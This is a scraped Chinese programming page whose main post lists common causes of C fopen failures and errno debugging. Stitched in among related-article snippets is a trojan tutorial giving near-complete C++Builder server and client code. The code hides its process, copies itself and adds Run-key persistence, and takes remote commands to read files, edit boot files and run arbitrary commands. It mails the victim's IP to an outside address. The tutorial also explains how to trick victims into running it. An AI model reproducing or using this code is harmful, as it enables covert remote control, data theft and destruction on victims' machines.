相关文章推荐
温暖的硬盘  ·  IllegalArgumentExcepti ...·  4 月前    · 
忐忑的卤蛋  ·  Spring Boot 零基礎入門 ...·  6 月前    · 
不羁的椰子  ·  python中PIL.Image,OpenC ...·  10 月前    · 
最近在分析一个偶现的问题,偶现概率特别低,问题还在分析中。把分析的知识做个总结,后面再继续补充。

问题描述:

代码在调用Lua的require函数时发生异常,通过查看require的源码跟踪,发现该函数的fopen函数返回打开文件失败的异常,
下面就来总结下fopen打开文件出错可能有哪些原因,也许不全,欢迎补充。

函数介绍:

函数原型 FILE * fopen(const char * path,const char * mode);
函数功能 打开一个文件
参数:   path [in] 名称   mode[in] 打开方式
返回值:文件顺利打开后,指向该流的文件指针就会被返回。如果文件打开失败则返回NULL,并把错误代码存在errno 中。
注:这里只是简单介绍下函数功能和参数,具体参数意思此处不分析。

原因分析及方法

1 参数path问题, 路径不对fopen就会是返回失败。
分析:首先查看path文件是否存在,其次检查path的路径相对路径还是绝对路径?如果是相对路径再检查是否当前进程的目录会切换了,软件找不到文件了.
如 相对路径 FILE *fp = fopen("./test/1.txt", "r");
绝对路径 FILE *fp = fopen("/mnt/text/1.txt", "r");
假如确定参数path没问题后,则可以排除文件不存在的路径问题。此时可以打印错误码errno来定位问题(这个后面介绍)。

2 参数mode问题,mode控制文件打开的方式,如果用户打开的方式超出了当前用户的权限,那么fopen也会返回失败,
此时应该检查当前用户的操作权限,也可以打印错误码errno来定位问题
如果当前用户仅仅只有读的权限而以读写的方式打开文件 FILE *fp = fopen("./test/1.txt", "W+")

3 检查程序中是否有句柄泄露的可能即频繁的调用fopen而没有fclose,这种情况的表象就是前面刚刚开始的时候可以open成功
过一段时间后,怎么都open不成功了,检查路径和权限都没有问题, 那此时就要检查下是否句柄泄露了。一般linux最多支持1000来个
句柄,打开太多不关,则其他的没法打开了

4 通过检查errno来分析定位问题, errno是一个int型的值,在errno.h中定义不需要自己定义。
可以通过strerror(errno)查看错误信息, errno是调试程序的一个重要方法。

注:errno 是记录系统的最后一次错误代码。

例如
FILE *fp = NULL;
if ((fp =fopen("./test/1.txt", "r")) == NULL)
{
printf("open fail errno = %d reason = %s \n", errno, strerrno(errno));
}
需要指出的是这样加入printf出问题,那么分局errno是记录系统最后一次错误代码,则有可能得不到我们想要的错误码,反而误导
最好的办法就是
FILE *fp = NULL;
int errNum = 0;
if ((fp =fopen("./test/1.txt", "r")) == NULL)
{
errNum = errno;
printf("open fail errno = %d reason = %s \n", errNum, strerrno(errNum));
}

常见的errno错误码有以下这些:
#define EPERM 1 /* Operation not permitted */
#define ENOENT 2 /* No such file or directory */
#define ESRCH 3 /* No such process */
#define EIO 5 /* I/O error */
#define ENXIO 6 /* No such device or address */
#define E2BIG 7 /* Argument list too long */
#define ENOEXEC 8 /* Exec format error */
#define EBADF 9 /* Bad file number */
#define ECHILD 10 /* No child processes */


更多的请网上搜索, 这里就分析这些,后续有发现继续补充...

概述:最近在分析一个偶现的问题,偶现概率特别低,问题还在分析中。把分析的知识做个总结,后面再继续补充。问题描述:代码在调用Lua的require函数时发生异常,通过查看require的源码跟踪,发现该函数的fopen函数返回打开文件失败的异常,下面就来总结下fopen打开文件出错可能有哪些原因,也许不全,欢迎补充。函数介绍:函数原型 FILE * fopen(con
最近 fopen 遇到打不开文件的问题,参考下面的 方法 3问题解决了。 原文链接:https://blog.csdn.net/Andy_93/article/details/78865000 最近在 分析 一个偶现的问题,偶现概率特别低,问题还在 分析 中。把 分析 的知识做个总结,后面再继续补充。 问题描述: 代码在调用Lua的require 函数 时发生异常,通过查看require的源码跟踪,发现该 函数 fopen 函数 返回打开文件 失败 的异常, 下面就来总结下 fopen 打开文件出错可能有哪些 原因 ,也许不全,欢迎补充。
如果你在使用C语言编译器时遇到了"无法打开源文件"的错误,那么有几种可能的 原因 : 源文件路径错误:请检查你的源文件路径是否正确。如果你使用的是相对路径,请确保你的源文件和你的C文件在同一个目录下,或者你使用了正确的相对路径。 源文件名错误:请检查你的源文件名是否正确。确保它的文件名正确拼写,包括大小写字母,文件后缀名等等。 没有读写权限:请确保你对该目录和源文件有读写权限。如果你没有权限,那...
1、问题描述:在Android 10上用 fopen 打开一个pcm文件,该文件是有读写权限,在AndroidManifest.xml也申请了媒体文件读写权限,但一直提示打开 失败 errno 的值为13,该值表示的就是权限问题。 pcm File = fopen (pcmurl, "r"); if(pcm File == NULL) LOGE("open file error, errno is:%d", errno ); return; 2、原AndroidManifest.xml权限申请
//2016.11.25 fopen 打开文件 失败 的奇怪错误,日志调试GetlastError()返回0,但是 errno = EM FILE 。 实际错误并不在这里的 fopen 上,而在其他代码块里 fopen 很多文件一直没有fclose。 errno 返回了 C运行时库发生的最后一个错误。 GetlastError得到的是在Windows API 函数 最后一个错误(当前线程)。 1:调用WinA
Matlab中 fopen 打开文件 失败 的解决 方法 在今天使用MATLAB的过程中出现了如下错误: “错误使用 fprintf     文件标识符无效。使用 fopen 生成有效的文件标识符。” 于是怀疑是 fopen 文件打开 失败 ,经检验发现, fopen 的返回值为-1,确实是文件打开 失败 ,于是为解决此问题,采取了以下解决办法。 查找 fopen 函数 的使用 方法 ,并确...
启动C++Builder5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的ServerSocket,另两个是Fastnet页中的NMFTP和NMSMTP。ServerSocket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP( File TransferProtocol文件传输协议)和SMTP(Simple Mail TransferProtocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。   Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。   我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess() 函数 注册成服务进程(ServiceProcess)就可以了。不过该 函数 的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟 函数 了。   首先判断目标机的操作系统是Win9x还是WinNt: DWORD dwVersion = GetVersion(); // 得到操作系统的版本号 if (dwVersion >= 0x80000000) // 操作系统是Win9x,不是WinNt    typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);     //定义RegisterServiceProcess() 函数 的原型     HINSTANCE hDLL;    LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;    hDLL = LoadLibrary("KERNEL32");    //加载RegisterServiceProcess() 函数 所在的动态链接库KERNEL32.DLL    lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");     //得到RegisterServiceProcess() 函数 的地址     lpRegisterServiceProcess(GetCurrentProcessId(),1);    //执行RegisterServiceProcess() 函数 ,隐藏本进程    FreeLibrary(hDLL);    //卸载动态链接库   这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的 方法 ,这个留到后面再讲)。 接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载: char TempPath[MAX_PATH]; //定义一个变量 GetSystem Di rectory(TempPath ,MAX_PATH); //TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径 SystemPath=AnsiString(TempPath); //格式化TempPath字符串,使之成为能供编译器使用的样式 Copy File (ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE); //将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来 Registry=new TRegistry; //定义一个TRegistry对象,准备修改注册表,这一步必不可少 Registry->RootKey=HKEY_LOCAL_MACHINE; //设置主键为HKEY_LOCAL_MACHINE Registry->OpenKey("Software\\Microsoft\\Windows\\ CurrentVersion\\Run",TRUE); //打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之   //如果以下语句发生异常,跳至catch,以避免程序崩溃   if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")     Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");     //查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe    //如果不是,就写入以上键值和内容 catch(...)  //如果有错误,什么也不做   好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。   接着选中ServerSocket控件,在左边的ObjectInspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP ControlPort);同理TNMSMTP的25号端口也是SMTP协议的专用端口。   再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码: FILE *fp=NULL;  char * content;  int times_of_try;  char Temp File [MAX_PATH];  //定义了一堆待会儿要用到的变量  sprintf(Temp File , "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());  //在%System%下建立一个文本文件Win369.bat,作为临时文件使用  AnsiString temp=Socket->ReceiveText();  //接收客户端(攻击者,也就是你自己)传来的数据 好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧: if(temp.SubString(0,9)=="e di t conf")  //如果接受到的字符串的前9个字符是“e di t conf”    int number=temp.Length();    //得到字符串的长度    int file _name=atoi((temp.SubString(11,1)).c_str());    //将第11个字符转换成integer型,存入 file _name变量    //为什么要取第11个字符,因为第10个字符是空格字符    content=(temp.SubString(12,number-11)+'\n').c_str();    //余下的字符串将被作为写入的内容写入目标文件 FILE *fp=NULL;    char file name[20];    chmod("c:\\autoexec.bat",S_IREAD|S_IWRITE);    chmod("c:\\config.sys",S_IREAD|S_IWRITE);    //将两个目标文件的属性改为可读可写    if( file _name==1)     sprintf( file name,"%s","c:\\autoexec.bat");     //如果第11个字符是1,就把Autoexec.bat格式化    else if( file _name==2)     sprintf( file name,"%s","c:\\config.sys");     //如果第11个字符是1,就把Config.sys格式化    times_of_try=0;    //定义计数器    while(fp==NULL)      //如果指针是空     fp= fopen file name,"a+");     //如果文件不存在,创建之;如果存在,准备在其后添加     //如果出错,文件指针为空,这样就会重复     times_of_try=times_of_try+1;     //计数器加1     if(times_of_try>100)        //如果已经试了100次了,仍未成功        Socket->SendText("Fail By Open File ");        //就发回“Fail By Open File ”的错误信息        goto END;        //跳至END处    fwrite(content,sizeof(char),strlen(content),fp);    //写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!    fclose(fp);    //写完后关闭目标文件    Socket->SendText("Sucess");    //然后发回“Success”的成功信息   你现在可以通过网络来察看目标机上的这两个文件了,并且还可以向里面随意添加任何命令。呵呵,这只不过是牛刀小试罢了。朋友,别走开 上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“ di r”命令,跟着敲啰: else if(temp.SubString(0,3)== di r) file ://如果前3个字符是“ di r” int Read_Num; char * CR_LF=\n; int attrib; char * file name; DI R * di r; struct di rent *ent; int number=temp.Length(); file ://得到字符串的长度 AnsiString Di r_Name=temp.SubString(5,number-3); file ://从字符串第六个字符开始,将后面的字符存入 Di r_Name变量,这是目录名 if( Di r_Name==) file ://如果目录名为空 Socket->SendText(Fail By Open DI Rs Name); file ://返回“Fail By Open DI Rs Name”信息 goto END; file ://跳到END char * di rname; di rname= Di r_Name.c_str(); if (( di r = open di r( di rname)) == NULL) file ://如果打开目录出错 Socket->SendText(Fail by your DI Rs name!); file ://返回“Fail By Your DI Rs Name”信息 goto END; file ://跳到END times_of_try=0; while(fp==NULL) file ://如果指针是NULL fp= fopen (Temp File ,w+); file ://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖 times_of_try=times_of_try+1; file ://计数器加1 if(times_of_try>100) file ://如果已经试了100次了,仍未成功(真有耐心!) Socket->SendText(Fail By Open File ); file ://就发回“Fail By Open File ”的错误信息 goto END; file ://并跳到END处 while ((ent = read di r( di r)) != NULL) file ://如果访问目标目录成功 if(*(AnsiString( di rname)).AnsiLastChar()!=\\) file ://如果最后一个字符不是“\”,证明不是根目录 file name=(AnsiString( di rname)+\\+ent->d_name).c_str(); file ://加上“\”字符后将指针指向目录流 file name=(AnsiString( di rname)+ent->d_name).c_str(); file ://如果是根目录,则不用加“\” attrib=_rtl_chmod( file name, 0); file ://得到目标文件的访问属性 if (attrib & FA_RDONLY) file ://“&”字符是比较前后两个变量,如果相同返回1,否则返回0 fwrite( R,sizeof(char),3,fp); file ://将目标文件属性设为只读 fwrite( ,sizeof(char),3,fp); file :// 失败 则写入空格 if (attrib & FA_HIDDEN) fwrite(H,sizeof(char),1,fp); file ://将目标文件属性设为隐藏 fwrite( ,sizeof(char),1,fp); file :// 失败 则写入空格 if (attrib & FA_SYSTEM) fwrite(S,sizeof(char),1,fp); file ://将目标文件属性设为系统 fwrite( ,sizeof(char),1,fp); file :// 失败 则写入空格 if (attrib & FA_ARCH) fwrite(A,sizeof(char),1,fp); file ://将目标文件属性设为普通 fwrite( ,sizeof(char),1,fp); file :// 失败 则写入空格 if (attrib & FA_ DI REC) fwrite( < DI R> ,sizeof(char),9,fp); file ://将目标文件属性设为目录 fwrite( ,sizeof(char),9,fp); file :// 失败 则写入空格 fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp); file ://将目录名写入目标文件 fwrite(CR_LF,1,1,fp); file ://写入换行 fclose(fp); file ://关闭文件 close di r( di r); file ://关闭目录 FILE *fp1=NULL; times_of_try=0; while(fp1==NULL) fp1= fopen (Temp File ,r); file ://打开Win369.bat准备读 times_of_try=times_of_try+1; file ://计数器加1 if(times_of_try>100) file ://如果已经试了100次了,仍未成功 Socket->SendText(Fail By Open File ); file ://就发回“Fail By Open File ”的错误信息 goto END; file ://并跳到END处 AnsiString Return_Text=; char temp_content[300]; for(int i=0;i<300;i++) temp_content=\0; file ://定义的一个空数组 Read_Num=fread(temp_content,1,300,fp1); file ://从目标文件中读入前300个字符 while(Read_Num==300) Return_Text=Return_Text+temp_content; file ://Return_Text变量加上刚才的300个字符 for(int i=0;i<300;i++) temp_content=\0; Read_Num=fread(temp_content,1,300,fp1); file ://重复 Return_Text=Return_Text+temp_content; file ://Return_Text变量加上刚才的300个字符 fclose(fp1); file ://关闭目标文件 Socket->SendText(Return_Text); file ://返回Return_Text变量的内容 够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?): else if(temp.SubString(0,4)==type) file ://如果前4个字符是“type” int Read_Num; int number=temp.Length(); AnsiString File _Name=temp.SubString(6,number-4); file ://将目标文件流存入 File _Name变量中 times_of_try=0; while(fp==NULL) fp= fopen ( File _Name.c_str(),r); file ://打开目标文件准备读 times_of_try=times_of_try+1; file ://计数器加1 if(times_of_try>100) file ://如果已试了100次了 Socket->SendText(Fail By Open File ); file ://返回“Fail By Open File ”的错误信息 goto END; file ://跳到END AnsiString Return_Text=; char temp_content[300]; for(int i=0;i<300;i++) temp_content=\0; file ://定义一个空数组 Read_Num=fread(temp_content,1,300,fp); file ://从目标文件中读入前300个字符 while(Read_Num==300) Return_Text=Return_Text+temp_content; file ://Return_Text的内容加上刚才的字符 for(int i=0;i<300;i++) temp_content=\0; Read_Num=fread(temp_content,1,300,fp); file ://重复 Return_Text=Return_Text+temp_content; file ://Return_Text的内容加上刚才的字符 fclose(fp); file ://关闭目标文件 Socket->SendText(Return_Text); file ://返回Return_Text的内容,即你查看文件的内容 咳咳!累死了!还是来点轻松的吧——操纵目标机的光驱(注意:mciSendString() 函数 的声明在mmsystem.h头文件中): else if(temp==open) file ://如果收到的temp的内容是“open” mciSendString(set cdau di o door open, NULL, 0, NULL); file ://就弹出光驱的托盘 else if(temp==close) file ://如果收到的temp的内容是“close” mciSendString(Set cdau di o door closed wait, NULL, 0, NULL); file ://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^ 接着就是交换目标机的鼠标左右键,代码如下: else if(temp==swap) SwapMouseButton(1); file ://交换鼠标左右键,简单吧? 然后就是使目标机重新启动。但这里要区分WinNt和Win9x——NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限: else if(temp==reboot) file ://如果收到的temp的内容是“temp” DWORD dwVersion = GetVersion(); file ://得到操作系统的版本号 if (dwVersion < 0x80000000) file ://操作系统是WinNt,不是Win9x HANDLE hToken; TOKEN_PRIVILEGES tkp; file ://定义变量 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); file ://OpenProcessToken()这个 函数 的作用是打开一个进程的访问令牌 file ://GetCurrentProcess() 函数 的作用是得到本进程的句柄 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); file ://LookupPrivilegeValue()的作用是修改进程的权限 tkp.PrivilegeCount = 1; file ://赋给本进程特权 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); file ://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利 ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0); file ://强行退出WinNt并重启 else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0); file ://强行退出Win9x并重启 如果以上都不是,就让它在Dos窗口中执行传来的命令: file ://如果都不是 char * CR_TF=\n; times_of_try=0; while(fp==NULL) fp= fopen (Temp File ,w+); file ://创建Win369.bat,如果已存在就覆盖 times_of_try=times_of_try+1; file ://计数器加1 if(times_of_try>100) Socket->SendText(Fail By Open File ); file ://返回“Fail By Open File ”的信息 goto END; file ://跳到END fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp); file ://写入欲执行的命令 fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp); file ://写入换行符 fclose(fp); file ://关闭Win369.bat system(Temp File ); file ://执行Win369.bat Socket->SendText(Success); file ://返回“Success”信息 你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^ 到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续) 上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^): END:; Socket->Close(); file ://关闭服务 ServerSocket1->Active =true; file ://再次打开服务 if (NMSMTP1->Connected) NMSMTP1-> Di sconnect(); file ://如果SMTP服务器已连接则断开 NMSMTP1->Host = "smtp.163.net"; file ://选一个好用的SMTP服务器,如163、263、sina和btamail NMSMTP1->UserID = ""; file ://你SMTP的ID NMSMTP1->Connect(); file ://再次连接 catch(...) goto NextTime; file ://跳到NextTime NMSMTP1->PostMessage->FromAddress ="I don't know!"; file ://受害者的Email地址 NMSMTP1->PostMessage->FromName = "Casualty"; file ://受害者的名字 NMSMTP1->PostMessage->ToAddress->Text = "<font color="#4d6c80"623737739@qq.com"; file ://将信发到我的邮箱,这一步很关键 NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ; file ://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接 NMSMTP1->PostMessage->Subject = "Server Running Now!"; file ://信的主题 NMSMTP1->SendMail(); file ://发送! return; file ://返回 NextTime: NMFTP1->Host = "ftp.go.163.com"; file ://你的FTP服务器的地址 NMFTP1->UserID = ""; file ://你的用户ID NMFTP1->Port = 21; file ://FTP端口号,一般为21 NMFTP1->Password = ""; file ://你的FTP的密码 if(NMFTP1->Connected) NMFTP1-> Di sconnect(); file ://如果已连接就断开 NMFTP1->Connect(); file ://再连接 catch(...) return; file ://返回 AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP; file ://受害者的IP地址 FILE * Upload; Upload = fopen (NMFTP1->RemoteIP.c_str(),"w+"); file ://创建一个新文件准备写,如果已存在就覆盖 fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload); file ://写入以上的SendToSite的内容 fclose(Upload); file ://写完后关闭此文件 NMFTP1->Remove Di r("public_html"); file ://删除public_html目录 NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP); file ://上传! 啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件: #include <stdlib.h> #include < di rent.h> #include <fcntl.h> #include <dos.h> #include <sysstat.h> #include <winbase.h> #include <st di o.h> #include <process.h> #include <io.h> #include <mmsystem.h> 至此,服务器端(Server)程序已全部完工!(终于可以好好歇歇了!)别慌!以上代码只是完成了整个木马程序的一半。(“扑通”,有人晕倒了!)下面我们就将乘胜追击――搞定客户端程序(Client)! 客户端程序其实是很简单的。另新建一个Form,添加一个ClientSocket(和ServerSocket在相同的页下),再添加四个E di tbox,命名为E di t1,E di t2,E di t3和E di t4,最后添加一个Button,Caption为“发送”。E di t1是输入命令用的,E di t2是准备输入目标机的IP地址用的,E di t3是输入连接端口号用的,E di t4是用来输入欲添加的语句或显示命令执行的结果的。(头是不是有点大了?!) 双击Button1,在Button1Click事件中添加如下代码: if((E di t2->Text=="")||(E di t3->Text==""))return; file ://如果输入IP地址框或输入端口号框有一个为空,就什么也不作 ClientSocket1->Address=E di t2->Text; file ://目标IP地址 ClientSocket1->Port=atoi(E di t2->Text.c_str()); file ://目标端口号,本例中的44444 ClientSocket1->Open(); file ://连接! 选中CilentSocket1控件,双击OnConnectt事件,在ClientSocket1Connect下添加如下代码: if((E di t1->Text=="e di t conf 1")||(E di t1->Text=="e di t conf 2")) file ://如果是要编辑autoexec.bat或config.sys Socket->SendText(E di t1->Text+E di t4->Text); file ://发送命令和欲添加的语句 Socket->SendText(E di t1->Text); file ://否则只发送命令 双击OnRead事件,在ClientSocket1Read下添加如下代码: AnsiString Rea dI n = Socket->ReceiveText(); file ://读入收到的返回信息 E di t4->Text=""; file ://清空编辑框 FILE *fp; fp = fopen ("Rea dI n.tmp","w"); file ://建立一个临时文件Rea dI n.tmp fwrite(Rea dI n.c_str(),1,10000,fp); file ://写入信息 fclose(fp); file ://关闭之 E di t4->Lines->LoadFrom File ("Rea dI n.tmp"); file ://在编辑框中显示返回的信息 为了敲完命令后直接回车就可以发送,我们可以使Button1的代码共享。双击E di t1的OnKeyPress命令,输入: if(Key==VK_RETURN)Button1Click(Sender); file ://如果敲的是回车键,就和点击Button1一样的效果 最后再添加以下头文件: #include "stdlib.h" #include "winbase.h" #include "fcntl.h" #include "st di o.h" 终于写完了!!!(如果你对简陋的界面不满意,可以自己用BCB中丰富的控件好好完善完善嘛!)按下Ctrl+F9进行编译链接吧!对于Server,你可以选一个足以迷惑人的图标(我选的是一个目录模样的图标)进行编译,这样不但受害者容易中招,而且便于隐藏自己。 接下来就把Server程序寄给受害者,诱骗他(她)执行,在你得到他(她)的IP后(这不用我教吧?),就启动Client程序,敲入“e di tconf 1”就编辑Autoexec.bat文件,敲入“e di t conf 2”就编辑Config.sys文件,敲入“ di rxxx”(xxx是目录名)就可以看到目录和文件,敲“typexxx”就可以察看任何文件,输入“open”,弹出目标机的光驱托盘,“close”就收入托盘,输入“swap”就可以交换受害者的鼠标左右键,输入“reboot”就启动目标机……不用我多说了吧? 以上只是一个简单的例子,真正写起木马来要解决的技术问题比这多得多,这得需要扎实的编程功底和丰富的经验。如下的问题就值得仔细考虑: 首先是程序的大小问题,本程序经编译链接后得到的可执行文件竟有400多K,用Aspack1.07压了一下也还有200多K。可以看出不必要的Form是应该去掉的;并且尽量由自己调用底层的API 函数 ,而尽量少使用Borland打好包的VCL控件;要尽量使用汇编语言(BCB支持C++和汇编混编),不但速度会加快,而且大小可以小很多,毕竟木马是越小越好。 还有启动方式的选择。出了Win.ini、System.ini之外,也还是那几个注册表键值,如: HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun 都已被其他的木马用烂了。现在又开始对exe、dll和txt文件的关联程序动手脚了(如冰河和广外女生)。这里涉及到参数传递的问题。得到ParamStr() 函数 传来的参数,启动自己后再启动与之关联的程序,并将参数传递给它,这样就完成了一次“双启动”,而受害者丝毫感觉不到有任何异常。具体键值如: 与exe文件建立关联:HKEY_CLASSES_ROOTexe file shellopencommand 与txt文件建立关联:HKEY_CLASSES_ROOT xt file shellopencommand 与dll文件建立关联:HKEY_CLASSES_ROOTdll file shellopencommand 等,当然还可以自己扩充。目前还有一种新 方法 :在HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionWindows下添加如下键值"AppInit_DLLs"="Server.dll",这就把Server.dll注册为系统启动时必须加载的模块(你应该把木马编译成DLL)。下次开机时,木马以动态链接库形式被加载,存在于系统进程中。因为没有它自己的PID(Process ID进程识别号),所以在NT的任务管理器中也看不见(不过在“系统信息”――“软件环境”――“已加载的32位模块”中还是可以详细看到当前内存中加载的每一个模块的 ^_^),这样做的目的是可以使自己的程序更加隐蔽,提高木马的生存能力。 木马的功能还可以大大扩充。你可以充分发挥你的想象力――比如上传、下载、新建、改名、移动文件,截图存为jpg文件传回,录音监听成Wav文件,录像成AVI文件,弹光驱,读软驱,关机,重启,不停地挂起,胡乱切换分辨率(烧掉你的显示器),发对话框,不停地打开资源管理器直到死机,杀掉Kernel32.dll进程使机器暴死,交换鼠标左右键,固定鼠标,限制鼠标活动范围,鼠标不听指挥到处乱窜,记录击键记录(记录上网口令,这需要深入了
FILE *fp = fopen ("aaa.dat", "w"); 可是每次写入数据后,查看文件大小都要多出4 - 6个字节,想了好久也没想明白 原因 后来查看msdn上的帮助文档发现,当写入2进制数据到文件时,创建的标志需要哦"wb" FILE *fp = fopen ("aaa.dat", "wb");之后,文
FILE * fopen (const char * file name, const char *mode); 其中, file name是要打开的文件名,mode是打开文件的模式,常用的模式有: - "r":只读模式,打开一个已有的文本文件,文件必须存在。 - "w":写入模式,打开一个文本文件,如果文件存在则清空文件,如果文件不存在则创建文件。 - "a":追加模式,打开一个文本文件,写入的数据追加到文件末尾,如果文件不存在则创建文件。 - "rb"、"wb"、"ab":二进制模式,与上述模式类似,但是是以二进制方式打开文件。 fopen 函数 返回一个指向 FILE 类型的指针,如果打开文件 失败 ,则返回NULL。使用完文件后,需要使用fclose 函数 关闭文件,以释放文件资源。